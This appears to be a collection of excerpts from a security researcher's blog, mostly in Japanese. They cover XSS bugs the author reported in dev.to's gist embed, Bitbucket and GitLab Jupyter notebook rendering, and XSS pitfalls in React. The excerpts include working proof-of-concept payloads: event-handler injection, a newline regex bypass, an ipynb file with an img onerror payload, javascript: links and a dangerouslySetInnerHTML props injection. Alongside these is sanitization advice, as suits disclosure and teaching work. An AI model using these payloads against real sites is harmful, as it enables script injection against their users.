dev.toのXSS

先日 Pwned Together: Hacking dev.to という記事を見かけた。 dev.to ではブログ投稿機能において {% gist <gist url> %} という記法を使用することでいい感じに gist を挿入してくれるらしい。 html = <<~HTML <div class="ltag_gist-liquid-tag"> <script id="gist-ltag" src="#{@link}.js"></script> </div> HTML 上記記事ではドメインの正規表現不備を利用して gist.github.com 以外のドメインから読み込む XSS を紹介していた。 この修正後のコミットを見ると、イベントハンドラが削除できていないのでまだXSS可能であることがわかる。 {% gist https://gist.github.com/mrtc0/bfbdd3757a18c7a85542c4948139fbb8 "onload=alert(document.domain) %} これを報告したのだけど、修正コミット を見ると不十分感… この正規表現だと「 https://gist.github.com/<username>/<hash> に一致する行がある場合にマッチする」という意味になる。 そのため途中に \n を挿入してやると True になる。 [1] pry(main)> link = "https://gist.github.com/mrtc0/bfbdd3757a18c7a85542c4948139fbb8 \n\"onload=alert(document.domain)" => "https://gist.github.com/mrtc0/bfbdd3757a18c7a85542c4948139fbb8 \n\"onload=alert(document.domain)" [1] pry(main)> (link =~ /^https\:\/\/gist\.github\.com\/([a-zA-Z0-9\-]){1,39}\/([a-zA-Z0-9]){32}\s$/)&.zero? => true ただしこの場合、\n の前に %20 が入っているため gist をいい感じに表示する JS の中で fetch エラーになってタグ自体がHTMLに反映されずXSSできない。

ipynb's XSS Vulnerability on Bitbucket

One day, I found that could render Jupyter Notebook on bitbucket. I have found the Jupyter Notebook(ipynb)’s XSS on GitLab. So, I searched for bitbucket thought that it had a similar vulnerability. Gitlab XSS via ipynb Let me get straight to the point, I found Jupyter Notebook’s XSS just like GitLab. PoC ipynb content is JSON, When markdown is specified for cell_type, HTML renders Markdown text included in source. The ipynb for such would look something like this.

Reactで安全にMarkdownをHTMLレンダリングする

ユーザー入力値をMarkdownとして受取り、HTMLとしてレンダリングしたい場面は少なくない。 当然ながらHTMLとして出力するため、onerrorやhref属性などは適切にサニタイズしなければならない。 import React, { Component } from 'react'; import marked from 'marked'; import PropTypes from 'prop-types'; const markdown = (data) => { return marked(data) } const SanitizedOutput = (props) => { const { data } = props; return (<div dangerouslySetInnerHTML={{__html: markdown(data)}}></div>) } SanitizedOutput.propTypes = { data: PropTypes.string.isRequired } export default SanitizedOutput; このとき、dataが<img src='x' onerror='alert(1)'>だと当然ながらXSSが生じる。 <div> <img src='x' onerror='alert(1)'> </div> sanitized-htmlを使えば柔軟に使用できるタグや属性を指定できる。 例えば、imgタグを許可し、imgタグのsrc属性のみを許可したい時は以下のようになる。 import React, { Component } from 'react'; import marked from 'marked'; import sanitize from 'sanitize-html'; import PropTypes from 'prop-types'; const markdown = (data) => { return sanitize(marked(data), { allowedTags: sanitize.

GitLab XSS via .ipynb

GitLabにXSSがあったので報告した。 https://about.gitlab.com/2018/01/16/gitlab-10-dot-3-dot-4-released/ 上記リンクのJupyter Notebook XSSというやつ。 PoC 以下の内容のipynbファイルを作成する。 ipynbファイルの実態はJSONである。 { "cells": [ { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "6653407c18484bc58bb51b233594b300", "version_major": 2, "version_minor": 0 }, "text/html": [ "<img src='x' onerror='alert(document.domain)' />" ], "text/plain": [ ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".

最近のJavaScriptフレームワークでのXSS

所謂、最近流行っているJavaScriptフレームワークでのXSSの例をいくつか挙げようと思う。 最近のJavaScriptフレームワークは賢いので、データをバインドする際にHTMLエスケープしてくれてXSSから保護してくれる。 しかしながら、保護が適用されないケースもあるため、過度にフレームワークに信頼しているとXSSを作り込んでしまう。 ここではReactとVue.jsでその例をいくつか挙げようと思う。 あくまで「やってしまうかもしれない例」というだけで、ReactやVue.jsの固有の問題というわけではないです。 React javascript:スキーム aタグのhref属性にjavascript:やdata:text/htmlなどの任意のスキームをユーザーが設定できる場合、XSSが生じる。 これはReactに限った話ではなく、古くからある手法だが、未だにたまに見る。 import React, { Component } from 'react'; class App extends Component { render() { return ( <div className="App"> <a href={this.props.link}>{this.props.link}</a> </div> ); } } ReactDOM.render(<App link="javascript:alert(1)" />, document.getElementById('root')); 対策としてはスキームをhttp://かhttps://のみに制限するなどする。 ユーザーが任意のpropsを注入できる場合 https://hackerone.com/reports/49652 にあるように、ユーザーの入力値をそのままReact.createElementのpropsとして渡した場合などにはXSSが生じる。 import React from 'react'; import ReactDOM from 'react-dom'; // const props = JSON.parse('{"name": "foo"}'); const props = JSON.parse('{"name": {"dangerouslySetInnerHTML" : { "__html": "<svg/onload=alert(1)>"}}}'); ReactDOM.render(React.createElement("p", props.name), document.getElementById('root')) dangerouslySetInnerHTML はい。 https://reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml